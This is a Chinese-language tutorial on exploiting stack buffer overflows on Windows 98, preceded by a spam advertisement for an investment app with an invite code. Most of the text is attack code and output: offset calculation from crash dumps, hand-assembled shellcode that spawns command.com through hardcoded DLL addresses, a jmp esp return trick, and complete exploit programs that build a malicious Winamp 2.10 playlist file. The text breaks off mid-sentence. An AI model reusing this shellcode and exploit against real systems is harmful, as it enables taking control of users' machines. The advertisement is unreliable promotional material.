window系统下的堆栈溢出 作者:ipxodi
?
國(guó)內(nèi)私募機(jī)構(gòu)九鼎控股打造APP,來(lái)就送?20元現(xiàn)金領(lǐng)取地址:http://jdb.jiudingcapital.com/phone.html內(nèi)部邀請(qǐng)碼:C8E245J?(不寫邀請(qǐng)碼,沒(méi)有現(xiàn)金送)
國(guó)內(nèi)私募機(jī)構(gòu)九鼎控股打造,九鼎投資是在全國(guó)股份轉(zhuǎn)讓系統(tǒng)掛牌的公眾公司,股票代碼為430719,為“中國(guó)PE第一股”,市值超1000億元。? ------------------------------------------------------------------------------------------------------------------------------------------------------------------
?
window系統(tǒng)下的堆棧溢出
?
作者:ipxodi<< mailto:ipxodi@263.net >>
?
????◆原理篇
?
這一講我們來(lái)看看windows系統(tǒng)下的程序。我們的目的是研究如何利用windows程序的
堆棧溢出漏洞。
?
讓我們從頭開始。windows 98第二版
?
首先,我們來(lái)寫一個(gè)問(wèn)題程序:
#include
?
int main()
{
char name[32];
gets(name);
for(int i=0;i<32&&name[i];i++)
printf("//0x%x",name[i]);
}
?
相信大家都看出來(lái)了,gets(name)對(duì)name數(shù)組沒(méi)有作邊界檢查。那么我們可以給程序
一個(gè)很長(zhǎng)的串,肯定可以覆蓋堆棧中的返回地址。
?
C:/Program Files/DevStudio/MyProjects/bo/Debug>vunera~1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61
/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61
?
到這里,出現(xiàn)了那個(gè)熟悉的對(duì)話框“該程序執(zhí)行了非法操作。。。”,太好了,點(diǎn)擊
詳細(xì)信息按鈕,看到EIP的值是0x61616161,哈哈,對(duì)話框還會(huì)把返回地址告訴我們。
這個(gè)功能太好了,我們可以選擇一個(gè)序列的輸入串,精確的確定存放返回地址的偏移位置。
?
C:/Program Files/DevStudio/MyProjects/bo/Debug>vunera~1
12345678910111213141516171819202122232425262728293031323334353637383940
/0x31/0x32/0x33/0x34/0x35/0x36/0x37/0x38/0x39/0x31/0x30/0x31/0x31/0x31/0x32/0x31
/0x33/0x31/0x34/0x31/0x35/0x31/0x36/0x31/0x37/0x31/0x38/0x31/0x39/0x32/0x30/0x32
到這里,又出現(xiàn)了那個(gè)熟悉的對(duì)話框“改程序執(zhí)行了非法操作。。。”,點(diǎn)擊詳細(xì)信息
按鈕,下面是詳細(xì)信息:
?
VUNERABLE 在 00de:32363235 的模塊
<未知> 中導(dǎo)致無(wú)效頁(yè)錯(cuò)誤。
Registers:
EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246
EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233
ECX=00000020 DS=0187 ESI=816bffcc FS=11df
EDX=00411a68 ES=0187 EDI=00000000 GS=0000
Bytes at CS:EIP:
?
Stack dump:
32383237 33303339 33323331 33343333 33363335 33383337 c0000005 0064ff68
0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78 bff8b86c
?
哦哦,EIP的內(nèi)容為0x32363235,就是2625,EBP的內(nèi)容為0x32343233,就是2423,計(jì)算
一下可以知道,在堆棧中,從name變量地址開始偏移36處,是EBP的地址,從name變量
地址開始偏移40處,是ret的地址。我們可以給name數(shù)組輸入我們精心編寫的shellcode。
我們只要把name的開始地址放在溢出字符串的地址40就可以了。那么,name的開始地址
是多少呢?
?
通過(guò)上面的stack dump 我們可以看到,當(dāng)前ESP所指向的地址0x0064fe00,內(nèi)容為
0x32383237,那么計(jì)算得出,name的開始地址為:0x0064fe00-44=0x64fdd4。在windows
系統(tǒng),其他運(yùn)行進(jìn)程保持不變的情況下。我們每次執(zhí)行vunera~1的堆棧的開始地址都
是相同的。也就是說(shuō),每次運(yùn)行,name的地址都是0x64fdd4。
?
講到這里,大家一定已經(jīng)發(fā)現(xiàn)了這樣一個(gè)情況:在win系統(tǒng)中,由于有地址沖突檢測(cè),
出錯(cuò)時(shí)寄存器影像和堆棧影像,使得我們對(duì)堆棧溢出漏洞可以進(jìn)行精確的分析
溢出偏移地址。這就使我們可以精確的方便的尋找堆棧溢出漏洞。
?
OK,萬(wàn)事具備,只差shellcode了。
?
首先,考慮一下我們的shellcode要作什么?顯然,根據(jù)以往的經(jīng)驗(yàn),我們想開一個(gè)
dos窗口,這樣在這個(gè)窗口下,我們就可以作很多事情。
?
開一個(gè)dos窗口的程序如下:
#include
#include
?
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
?
char dllbuf[11] = "msvcrt.dll";
char sysbuf[7] = "system";
char cmdbuf[16] = "command.com";
?
?
LibHandle = LoadLibrary(dllbuf);
?
ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
?
(ProcAdd) (cmdbuf);
?
return 0;
}
?
這個(gè)程序有必要詳細(xì)解釋一下。我們知道執(zhí)行一個(gè)command.com就可以獲得一個(gè)
dos窗口。在C庫(kù)函數(shù)里面,語(yǔ)句system(command.com);將完成我們需要的功能。
但是,windows不像UNIX那樣使用系統(tǒng)調(diào)用來(lái)實(shí)現(xiàn)關(guān)鍵函數(shù)。對(duì)于我們的程序來(lái)說(shuō),
windows通過(guò)動(dòng)態(tài)鏈接庫(kù)來(lái)提供系統(tǒng)函數(shù)。這就是所謂的Dll's。
?
因此,當(dāng)我們想調(diào)用一個(gè)系統(tǒng)函數(shù)的時(shí)候,并不能直接引用他。我們必須找到那個(gè)
包含此函數(shù)的動(dòng)態(tài)鏈接庫(kù),由該動(dòng)態(tài)鏈接庫(kù)提供這個(gè)函數(shù)的地址。DLL本身也有一個(gè)
基本地址,該DLL每一次被加載都是從這個(gè)基本地址加載。比如,system函數(shù)由msvcrt.dll
(the Microsoft Visual C++ Runtime library)提供,而msvcrt.dll每次都從
0x78000000地址開始。system函數(shù)位于msvcrt.dll的一個(gè)固定偏移處(這個(gè)偏移地址
只與msvcrt.dll的版本有關(guān),不同的版本可能偏移地址不同)。我的系統(tǒng)上,
msvcrt.dll版本為(v6.00.8397.0)。system的偏移地址為0x019824。
?
所以,要想執(zhí)行system,我們必須首先使用LoadLibrary(msvcrt.dll)裝載動(dòng)態(tài)鏈接庫(kù)
msvcrt.dll,獲得動(dòng)態(tài)鏈接庫(kù)的句柄。然后使用GetProcAddress(LibHandle, system)
獲得 system的真實(shí)地址。之后才能使用這個(gè)真實(shí)地址來(lái)調(diào)用system函數(shù)。
?
好了,現(xiàn)在可以編譯執(zhí)行,結(jié)果正確,我們得到了一個(gè)dos框。
?
現(xiàn)在對(duì)這個(gè)程序進(jìn)行調(diào)試跟蹤匯編語(yǔ)言,可以得到:
?
15: LibHandle = LoadLibrary(dllbuf);
00401075 lea edx,dword ptr [dllbuf]
00401078 push edx
00401079 call dword ptr [__imp__LoadLibraryA@4(0x00416134)]
0040107F mov dword ptr [LibHandle],eax
16:
17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
00401082 lea eax,dword ptr [sysbuf]
00401085 push eax
00401086 mov ecx,dword ptr [LibHandle]
00401089 push ecx
0040108A call dword ptr [__imp__GetProcAddress@8(0x00416188)]
00401090 mov dword ptr [ProcAdd],eax
;現(xiàn)在,eax的值為0x78019824就是system的真實(shí)地址。
;這個(gè)地址對(duì)于我的機(jī)器而言是唯一的。不用每次都找了。
18:
19: (ProcAdd) (cmdbuf);
00401093 lea edx,dword ptr [cmdbuf]
;使用堆棧傳遞參數(shù),只有一個(gè)參數(shù),就是字符串"command.com"的地址
00401096 push edx
00401097 call dword ptr [ProcAdd]
0040109A add esp,4
?
現(xiàn)在我們可以寫出一段匯編代碼來(lái)完成system,看以看我們的執(zhí)行system調(diào)用的代碼
是否能夠像我們?cè)O(shè)計(jì)的那樣工作:
?
#include
#include
?
void main()
{
?
LoadLibrary("msvcrt.dll");
?
__asm {
mov esp,ebp ;把ebp的內(nèi)容賦值給esp
push ebp ;保存ebp,esp-4
mov ebp,esp ;給ebp賦新值,將作為局部變量的基指針
xor edi,edi ;
push edi ;壓入0,esp-4,
;作用是構(gòu)造字符串的結(jié)尾/0字符。
sub esp,08h ;加上上面,一共有12個(gè)字節(jié),
;用來(lái)放"command.com"。
mov byte ptr [ebp-0ch],63h ;
mov byte ptr [ebp-0bh],6fh ;
mov byte ptr [ebp-0ah],6dh ;
mov byte ptr [ebp-09h],6Dh ;
mov byte ptr [ebp-08h],61h ;
mov byte ptr [ebp-07h],6eh ;
mov byte ptr [ebp-06h],64h ;
mov byte ptr [ebp-05h],2Eh ;
mov byte ptr [ebp-04h],63h ;
mov byte ptr [ebp-03h],6fh ;
mov byte ptr [ebp-02h],6dh ;生成串"command.com".
lea eax,[ebp-0ch] ;
push eax ;串地址作為參數(shù)入棧
mov eax, 0x78019824 ;
call eax ;調(diào)用system
}
}
?
編譯,然后運(yùn)行。好,DOS框出來(lái)了。在提示符下輸入dir,copy......是不是想起了
當(dāng)年用286的時(shí)候了?
?
敲exit退出來(lái),哎呀,發(fā)生了非法操作。Access Violation。這是肯定的,因?yàn)槲覀兊?/span>
程序已經(jīng)把堆棧指針搞亂了。
?
對(duì)上面的算法進(jìn)行優(yōu)化,現(xiàn)在我們可以寫出shellcode如下:
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */
0xFF,0xD0 /*call eax */
};
?
還記得第二講中那個(gè)測(cè)試shellcode的基本程序嗎?我們可以用他來(lái)測(cè)試這個(gè)shellcode:
#include
#include
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */
0xFF,0xD0 /*call eax */
};
?
int main() {
int *ret;
LoadLibrary("msvcrt.dll");
?
ret = (int *)&ret + 2; //ret 等于main()的返回地址
//(+2是因?yàn)?#xff1a;有push ebp ,否則加1就可以了。)
(*ret) = (int)shellcode; //修改main()的返回地址為shellcode的開始地址。
?
}
編譯運(yùn)行,得到dos對(duì)話框。
?
現(xiàn)在總結(jié)一下。我們已經(jīng)知道了在windows系統(tǒng)下如何獲得一次堆棧溢出,如何計(jì)算
偏移地址,以及如何編寫一個(gè)shellcode以得到dos。理論上,你已經(jīng)具備了利用堆棧溢出
的能力了,下面,我們通過(guò)實(shí)戰(zhàn)來(lái)真正掌握他。
?
?
?
◆溢出字符串的設(shè)計(jì)
?
我們已經(jīng)知道了在windows系統(tǒng)下如何獲得一次堆棧溢出,如何計(jì)算
偏移地址,以及如何編寫一個(gè)shellcode以得到dos。
?
但是這遠(yuǎn)遠(yuǎn)不夠。
?
大家知道windows系統(tǒng)的用戶進(jìn)程空間是0--2G,操作系統(tǒng)所占的為2--4G。
事實(shí)上用戶進(jìn)程的加載位置為:0x00400000.這個(gè)進(jìn)程的所有指令地址,數(shù)據(jù)地址
和堆棧指針都會(huì)含有0,那么我們的返回地址就必然含有0。
?
現(xiàn)在來(lái)看一看我們的shellcode:NNNNSSSSAAAAAA。顯然,我們的shellcode
由于A里面含有0,所以就變成了NNNNNNNNSSSSSA,這樣,我們的返回地址A必須精確
的放在確切的函數(shù)堆棧中的ret位置。
?
事實(shí)上,在上一講里面,我們已經(jīng)掌握了很精確的找到這個(gè)位置的方法。
?
其次,windows在執(zhí)行mov esp,ebp的時(shí)候,把廢棄不用的堆棧用隨機(jī)數(shù)據(jù)填充
(實(shí)驗(yàn)所得,機(jī)制如何,大家一起研究),因此我們的shellcode可能會(huì)被覆蓋!
----這下完蛋了,我們的shellcode都沒(méi)了,返回地址正確又有什么用??
?
所以,我們的shellcode必須改成如下方式:NNNNNNNNNNNNNNNNNASSSSSSSSS,在緩沖區(qū)
溢出發(fā)生之后,堆棧的布局如下:
?
內(nèi)存底部 內(nèi)存頂部
buffer EBP ret
<------ [NNNNNNNNNNN][N ] [A ]SSSS
^&buffer
堆棧頂部 堆棧底部
?
看到了嗎?我們的A覆蓋了返回地址。S位于堆棧的底部。A的內(nèi)容,就是指向S的調(diào)用。
?
但是,剛才我們說(shuō)過(guò)A里面是含有0字符的,這樣的溢出字符串,在A處就被0阻斷,
根本無(wú)法到shellcode。我們需要把A改成不包含0的地址。
?
好像沒(méi)有辦法了,是嗎?現(xiàn)在我們的A如何能做到即可以跳轉(zhuǎn)到我們的shellcode,
又可以不包含0字節(jié)呢?
?
大家可能還記得當(dāng)年IIS4.0遠(yuǎn)程攻擊的作者dark spyrit AKA Barnaby Jack吧?
他在99年的Phrack Magzine55.15 上提出了使用系統(tǒng)核心dll中的指令來(lái)完成跳轉(zhuǎn)
的思想。我不得不說(shuō)這是一個(gè)天才的想法。事實(shí)上,這一技巧開創(chuàng)了一個(gè)嶄新
的windows緩沖區(qū)溢出的思路。
?
思路是這樣的:返回地址A的內(nèi)容不指向我們的shellcode開始地點(diǎn),否則的話
A里面必然含有0。我們知道系統(tǒng)核心的dll都是在2-4G,也就是從0x80000000到
0xffffffff,這里面的指令地址將不包含0,(當(dāng)然幾個(gè)別的除外,我們可以不用他)。
因此,我們可以令返回地址A等于一個(gè)系統(tǒng)核心dll中的指令的地址,這個(gè)指令的
作用就是call/jmp 我們的shellcode。
?
但是他怎么才能知道我們的shellcode的地址呢?
?
答案是:用寄存器。因?yàn)樵谝绯霭l(fā)生的時(shí)候,除了eip跳到了系統(tǒng)核心dll去之外,
其他的通用寄存器都保持不變。在寄存器里面一定有我們的shellcode的相關(guān)信息。
比如說(shuō),敵人的函數(shù)如果有參數(shù)的話,那么我們的A覆蓋了他的返回地址,shellcode
的開始地址則恰恰在他的第一個(gè)參數(shù)的位置上,那我們就可以用call [ebp+4]或者
我們假設(shè)敵人第一個(gè)參數(shù)的地址在eax,那我們就可以使用call/jmp eax來(lái)調(diào)用shellcode。
這些寄存器的值,我們可以在第一講里面提到的“關(guān)閉程序框”里面獲得寄存器和
堆棧的詳細(xì)資料。
?
那么我們?cè)趺粗滥睦镉衏all/jmp eax什么的呢?我們又怎么知道這些指令是每次都在
內(nèi)存中可以直接調(diào)用呢?
?
答案是:系統(tǒng)核心dll。系統(tǒng)核心dll包括kernel32.dll,user32.dll,gdi32.dll.
這些dll是一直位于內(nèi)存中而且對(duì)應(yīng)于固定的版本windows加載的位置是固定的。
你可以在這些dll里面搜索你需要的指令。其他的dll,比如msvcrt。dll就要去看程序
自己的import列表了。看看他是否load了這個(gè)dll。不過(guò)一般的說(shuō),這幾個(gè)dll就夠了。
?
好,那么我們的shellcode最終為:
NNNNNNNNNNNNNNNASSSSSSSS
其中:N為NOP指令
A為指向某一條call/jmp指令的地址,這個(gè)call/jmp指令位于系統(tǒng)核心內(nèi)存>0x80000000,
這個(gè)call/jmp指令具體的內(nèi)容,需要根據(jù)我們exploit出來(lái)的結(jié)果分析得知。
S:shellcode。
?
有了這些基礎(chǔ)知識(shí),我們來(lái)分析一個(gè)實(shí)例。
?
大家都有winamp吧,他的2.10有緩沖區(qū)漏洞,下面我們來(lái)實(shí)現(xiàn)一個(gè)exploit。
?
winamp的playlist支持文件*.pls存放playlist。playlist里面的文件名長(zhǎng)度
如果大于一定長(zhǎng)度就會(huì)發(fā)生堆棧溢出。我們可以寫出測(cè)試串,精確的測(cè)試。
test.cpp
----------------------------------------------------------------------------
#include
?
int main()
{
char buffer[640];
char eip[8] = "";
char sploit[256] = "";
FILE *file;
?
for(int x=0;x<640;x++)
{
switch(x%4) {
case 0: buffer[x] = 'A';break;
case 1: buffer[x] = 'A'+x/26%26/26%26; break;
case 2: buffer[x] = 'A'+x/26%26; break;
case 3: buffer[x] = 'A'+x%26;break;
?
}
}
buffer[x]=0;
file = fopen("crAsh.pls","wb");
?
fprintf(file, "[playlist]/n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", sploit);
fprintf(file, "/nNumberOfEntries=1");
?
fclose(file);
printf("/t created file crAsh.pls loaded with the exploit./n");
return 0;
}
----------------------------------------------------------------------------
算法很簡(jiǎn)單,是寫出一個(gè)crach.pls文件,內(nèi)容可以根據(jù)那幾個(gè)fprintf看出來(lái)的。
我就不講了,其中buffer的內(nèi)容為測(cè)試用的字符串。這個(gè)測(cè)試程序可以測(cè)試
最長(zhǎng)為26^3的串,足夠了。
?
編譯執(zhí)行,看看結(jié)果,嘿,發(fā)生了堆棧溢出,結(jié)果如下:
?
WINAMP 在 00de:4c574141 的模塊
<未知> 中導(dǎo)致無(wú)效頁(yè)錯(cuò)誤。
Registers:
EAX=00000001 CS=017f EIP=4c574141 EFLGS=00000206
EBX=006da30c SS=0187 ESP=006da170 EBP=006da2f4
ECX=00000000 DS=0187 ESI=00445638 FS=4bd7
EDX=005b02dc ES=0187 EDI=00000001 GS=4206
Bytes at CS:EIP:
?
Stack dump:
50574141 54574141 58574141 42584141 46584141 4a584141
4e584141 52584141 56584141 5a584141 44594141 48594141
4c594141 50594141
?
根據(jù)eip=4141574c計(jì)算得出,addr = (57h-41h)*26+(4ch-41h)-4 = 580.
好,溢出的位置為580。
?
大家現(xiàn)在知道我們的溢出字符串中,返回地址A應(yīng)該在串的580處,那么我們應(yīng)該
讓他使用什么call/jmp指令以達(dá)到shellcode呢?
?
看看寄存器dump,我們發(fā)現(xiàn)ESP里面的內(nèi)容是41415750,恰好是4141574c之后的
第一個(gè)數(shù)。看來(lái)ESP指向我們的shellcode,太棒了!我們使用指令:
jmp ESP 就可以執(zhí)行我們的shellcode了。
?
現(xiàn)在找出jmp esp的指令碼為 FF E4,ctrl-D 調(diào)出s-ice,看看內(nèi)存里面那里有FF E4.
因?yàn)橄到y(tǒng)核心dll的加載地址都是從地址0xBf000000開始,所以我們
搜索s Bf000000 L ffffffff ff,e4
得到了哪些結(jié)果?
?
一堆呀,這第一個(gè)是:BFF795A3。看看softice里面的進(jìn)程名稱欄:
Kernel32!GetDataFormatA+1554好,是kernel32.dll里面的,肯定是可以用的啦。
ok,問(wèn)題解決,我們現(xiàn)在可以確定在buffer〔580〕處,寫入四個(gè)字節(jié):
"/xa3/x95/xf7/xbf".這就是我們的溢出字符串中的返回地址A。
?
好了,現(xiàn)在溢出字符串已經(jīng)基本分析完了,就差shellcode了。
下面我們來(lái)寫shellcode。
我們的shellcode要開一個(gè)dos窗口。C語(yǔ)言的算法描述是:
?
LoadLibrary("msvcrt.dll");
system("command.com");
exit(0);
很簡(jiǎn)單,是不是?下面是匯編代碼:
?
首先要LoadLibrary("msvcrt.dll");
push ebp
mov ebp,esp
xor eax,eax
push eax
push eax
push eax
mov byte ptr[ebp-0Ch],4Dh
mov byte ptr[ebp-0Bh],53h
mov byte ptr[ebp-0Ah],56h
mov byte ptr[ebp-09h],43h
mov byte ptr[ebp-08h],52h
mov byte ptr[ebp-07h],54h
mov byte ptr[ebp-06h],2Eh
mov byte ptr[ebp-05h],44h
mov byte ptr[ebp-04h],4Ch
mov byte ptr[ebp-03h],4Ch
mov edx,0xBFF776D4 //LoadLibrary
push edx
lea eax,[ebp-0Ch]
push eax
call dword ptr[ebp-10h]
然后是開一個(gè)dos窗口:
push ebp
mov ebp, esp
sub esp, 0000002C
mov eax, 6D6D6F63
mov dword ptr [ebp-0C], eax
mov eax, 2E646E61
mov dword ptr [ebp-08], eax
mov eax, 226D6F63
mov dword ptr [ebp-04], eax
xor edx, edx
mov byte ptr [ebp-01], dl
lea eax, dword ptr [ebp-0C]
push eax
mov eax, 78019824 //system
call eax
最后執(zhí)行exit,退出來(lái)。
?
push ebp
mov ebp,esp
mov edx,0xFFFFFFFF
sub edx,0x87FFAAFB//exit
push edx
xor eax,eax
push eax
call dword ptr[ebp-04h]
?
簡(jiǎn)單說(shuō)一下,msvcrt.dll是運(yùn)行C語(yǔ)言標(biāo)準(zhǔn)庫(kù)函數(shù)所必須的一個(gè)動(dòng)態(tài)鏈接庫(kù)。
要想使用system,exit,必須加載這個(gè)庫(kù)。而winamp沒(méi)有import這個(gè)庫(kù),
所譯我們需要自己加載。
指令 mov edx,0xBFF776D4中,0xBFF776D4是函數(shù)LoadLibraryA的地址。
他的代碼在kernel32.dll中,是被winamp加載了的dll。我的機(jī)器上kernel32.dll
版本是: (v4.10.2222) .
0x78019824 是msvcrt.dll里面的函數(shù)system的地址。版本:(v6.00.8397.0)
0x78005504 是msvcrt.dll里面的函數(shù)exit的地址。版本:(v6.00.8397.0)
由于里面有0,所以使用兩條指令來(lái)完成:
mov edx,0xFFFFFFFF
sub edx,0x87FFAAFB//==mov edx,0x78005504
?
編譯,找出二進(jìn)制code:
shellcode:
"/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"
"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"
"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA/x50/x77/xF7/xbF/x52/x8D/x45/xF4/x50"
"/xFF/x55/xF0"
"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"
"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"
"/x50/xB8/x24/x98/x01/x78/xFF/xD0"
"/x55/x8B/xEC/xBA/xFF/xFF/xFF/xFF/x81/xEA/xFB/xAA/xFF/x87/x52/x33/xC0/x50/xFF/x55/xFC";
?
好了,所有的算法都討論完了,下一講我們就來(lái)實(shí)現(xiàn)一個(gè)exploit
?
?
?
?
?
◆最后的完善
?
我們把前面寫的測(cè)試程序稍加改動(dòng)就是一個(gè)exploit程序:
exploit.cpp
----------------------------------------------------------------------------
#include
?
int main()
{
?
?
char buffer[640];
char eip[8] = "/xa3/x95/xf7/xBF";
char shellcode[256] =
"/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"//load
"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"
"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA/x50/x77/xF7/xbF/x52/x8D/x45/xF4/x50"
"/xFF/x55/xF0"
"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"
"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"
"/x50/xB8/x24/x98/x01/x78/xFF/xD0"
"/x55/x8B/xEC/xBA/xFF/xFF/xFF/xFF/x81/xEA/xFB/xAA/xFF/x87/x52/x33/xC0/x50/xFF/x55/xFC";
?
FILE *file;
?
for(int x=0;x<580;x++)
{
buffer[x] = 0x90;
}
?
file = fopen("crAsh.pls","wb");
?
fprintf(file, "[playlist]/n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", shellcode);
fprintf(file, "/nNumberOfEntries=1");
?
fclose(file);
printf("/t created file crAsh.pls loaded with the exploit./n");
return 0;
}
----------------------------------------------------------------------------
?
OK,運(yùn)行他,生成一個(gè)文件叫做crash.pls.在winamp里面打開這個(gè)playlist,
就應(yīng)該出一個(gè)dos。出來(lái)了嗎?
?
哎呀,怎么又是錯(cuò)誤?
?
WINAMP 在 017f:004200c3 的模塊
WINAMP.EXE 中導(dǎo)致無(wú)效頁(yè)錯(cuò)誤。
Registers:
EAX=00000001 CS=017f EIP=004200c3 EFLGS=00000206
EBX=006da30c SS=0187 ESP=006da171 EBP=006da2f4
ECX=00000000 DS=0187 ESI=00445638 FS=444f
EDX=005b02dc ES=0187 EDI=00000001 GS=4446
Bytes at CS:EIP:
00 85 f6 7d 06 03 35 dc 23 44 00 8b 6c 24 10 3b
Stack dump:
0a006da1 8000009d 0000442a 90000000 90909090 90909090
90909090 90909090 90909090 90909090 90909090 90909090
90909090 90909090 90909090 90909090
?
看看出錯(cuò)信息,EIP是4200c3,看來(lái)已經(jīng)開始執(zhí)行我們的shellcode了,怎么會(huì)有
無(wú)效頁(yè)錯(cuò)誤呢?看來(lái)我們的shellcode有問(wèn)題。
?
這個(gè)時(shí)候,s-ice就又派上用場(chǎng)了,跟蹤一下看看:
ctrl-d
bpx bff795a3(就是我們的jmp esp)
x
好,現(xiàn)在運(yùn)行winamp,打開文件crash.pls,被s-ice攔下,開始跟蹤。一個(gè)jmp esp
之后,就到了我們的shellcode上,繼續(xù)執(zhí)行,看到了什么嗎?
?
奇怪!我們的shellcode變短了,到B8249801,后面就沒(méi)有了。這是怎么回事?
應(yīng)該是/xB8/x24/x98/x01/x78呀,/x01到什么地方去了?
?
看來(lái)敵人把輸入的溢出字符串作樂(lè)處理,把不能作為文件名的字符都作為0處理了
(事實(shí)上這是win32api函數(shù)作的處理)。我們的shellcode被截?cái)嗔恕?/span>
?
我在第4講第一節(jié)就說(shuō)過(guò)對(duì)這種問(wèn)題的對(duì)策。這個(gè)問(wèn)題的解決需要我們改換shellcode,
去掉那些有問(wèn)題的字符:/x01
?
我們作如下替換:
mov eax,78019824 ----> mov eax,ffffffff
sub eax,87fe67db
匯編得到:
?
xB8/x24/x98/x01/x78 ----> /xB8/xFF/xFF/xFF/xFF
/x2d/xdB/x67/xFe/x87
得到下面的新程序:
/* Stack based buffer overflow exploit for Winamp v2.10
* Author Steve Fewer, 04-01-2k. Mail me at darkplan@oceanfree.net
*
* For a detailed description on the exploit see my advisory.
*
* Tested with Winamp v2.10 using Windows98 on an Intel
* PII 400 with 128MB RAM
*
* http://indigo.ie/~lmf
?
* modify by ipxodi 20-01-2k
?
* for windows98 the 2nd version and for a new shellcode.
?
* windows98 v 4.10.2222.A chinese version
* pII 366 with 64MB RAM(Not a good PC,en?)
?
* ipxodi@263.net
*/
?
#include
?
int main()
{
?
char buffer[640];
char eip[8] = "/xa3/x95/xf7/xbf";
char sploit[256] = "/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"
"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"
"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA/x50/x77/xF7/xbF/x52/x8D/x45/xF4/x50"
"/xFF/x55/xF0"
"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"
"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"
"/x50/xB8/xFF/xFF/xFF/xFF/x2d/xdB/x67/xFe/x87/xFF/xD0"
"/x55/x8B/xEC/xBA/xFF/xFF/xFF/xFF/x81/xEA/xFB/xAA/xFF/x87/x52/x33/xC0/x50/xFF/x55/xFC";
?
FILE *file;
?
for(int x=0;x<580;x++)
{
buffer[x] = 0x90;
}
buffer[x]=0;
file = fopen("crAsh.pls","wb");
?
fprintf(file, "[playlist]/n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", sploit);
fprintf(file, "/nNumberOfEntries=1");
?
fclose(file);
printf("/t created file crAsh.pls loaded with the exploit./n");
return 0;
}
?
?
OK,運(yùn)行他,生成一個(gè)文件叫做crash.pls.在winamp里面打開這個(gè)playlist,
結(jié)果如下,我可愛(ài)的dos出來(lái)了:
?
Microsoft(R) Windows 98
(C)Copyright Microsoft Corp 1981-1999.
?
D:/hacker/document/ipxodi>dir
.........................
........就不貼了.........
?
?
總結(jié):
?
經(jīng)過(guò)這次實(shí)戰(zhàn)的演練,大家一定對(duì)windows下的buffer overflow有了很深的掌握了。
我們可以看到,windows下的堆棧溢出攻擊和unix下的,原理基本相同。但是,
